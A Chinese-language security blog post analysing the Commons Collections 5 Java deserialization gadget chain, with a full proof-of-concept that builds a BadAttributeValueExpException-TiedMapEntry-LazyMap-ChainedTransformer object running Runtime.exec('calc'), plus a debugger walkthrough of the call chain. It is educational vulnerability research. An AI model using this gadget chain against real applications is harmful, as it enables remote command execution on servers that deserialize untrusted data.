Java安全之Commons Collections5分析
文章首發:Java安全之Commons Collections5分析
0x00 前言
在后面的幾條CC鏈中,如果和前面的鏈構造都是基本一樣的話,就不細講了,參考一下前面的幾篇文。
在CC5鏈中ysoserial給出的提示是需要JDK1.8並且SecurityManager
需要是關閉的。先來介紹一下SecurityManager
是干嘛的。SecurityManager
也就是java的安全管理器,當運行未知的Java程序的時候,該程序可能有惡意代碼(刪除系統文件、重啟系統等),為了防止運行惡意代碼對系統產生影響,需要對運行的代碼的權限進行控制,這時候就要啟用Java安全管理器。該管理器默認是關閉的。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前面的上半段和CC1鏈是一模一樣的,主要來分析在這兩者中不同的部分。
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
前面的new了一個HashMap
傳入到LazyMap
里面,同時也傳入了 ChainedTransformer
實例化對象,當調用get方法的時候,就會調用到 ChainedTransformer
的transform
f方法,這個沒啥好說的,老面孔了。前面也分析過好幾回了。主要的是下面的這一段代碼。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
TiedMapEntry
是一個新生面孔,來查看一下該類源碼。
該類的構造方法需要2個參數。所以我們的POC代碼中,傳入了一個LazyMap
實例化對象和一個123
的字符做占位。
而在getValue
方法里面就會去調用到剛剛賦值的map類get方法。前面我們傳入的是LazyMap
對象,這時候調用get方法的話,就和前面的串聯起來達成命令執行了。這里先不做分析,來到下一步,查看一下,哪個地方會調用到該方法。
而在toString
方法里面就會去調用到getValue
方法。
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
再來看下面一段代碼,new了一個BadAttributeValueExpException
的對象,並且反射獲取val
的值,將val
的值設置為TiedMapEntry
實例化對象。
在BadAttributeValueExpException
的readObject
方法會獲取到val
的值,然后賦值給valObj
變量,然后調用valObj
的toString
方法。
0x02 CC5鏈調試
在readObject
復寫點打個斷點,也就是BadAttributeValueExpException
的readObject
方法。
上面斷點的地方會去獲取val
的值,賦值給valObj
,前面我們使用反射將val
設置為TiedMapEntry
的對象。
這里會去調用valObj
的toString
方法,也就是TiedMapEntry
的toString
方法。跟進一下該方法,查看調用。
這里面會去調用getKey
和getValue
方法,這里選擇跟蹤getValue
方法。
這里的this.map
為LazyMap
實例化對象,是在創建TiedMapEntry
對象的時候傳參進去的。再跟進一下get方法就和前面調試CC1鏈的步驟一樣了。
這里會去調用this.factory
的transform
,也就是ChainedTransformer
的transform
。再來跟進一下。
接着就是遍歷調用數組里面的transform
方法。第一個值為ConstantTransformer
,會直接返回傳參的值。
這里返回的是Runtime
,將該值傳入第二次的參數里面調用transform
方法。
第二次遍歷的值是InvokerTransformer
對象, 這里的transform
方法會反射去獲取方法並且進行執行。第二次執行返回的是Runtime.getRuntime
的實例化對象。再傳入到第三次執行的參數里面去執行。
第三次去執行則是獲取返回他的invoke
方法,傳入給第四次執行的參數里面。
第四次執行里面的this.iMethodName
為exec
,this.iArgs
為calc
。執行完成這一步過后就會去執行我們設置好的命令,也就是calc。彈出計算器。
調用鏈
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec
0x03 結尾
其實在該鏈的后面中,並沒有寫太詳細,因為后面和CC1鏈中的都是一模一樣的。如果沒有去調試過的話,建議先去調試一下CC1的鏈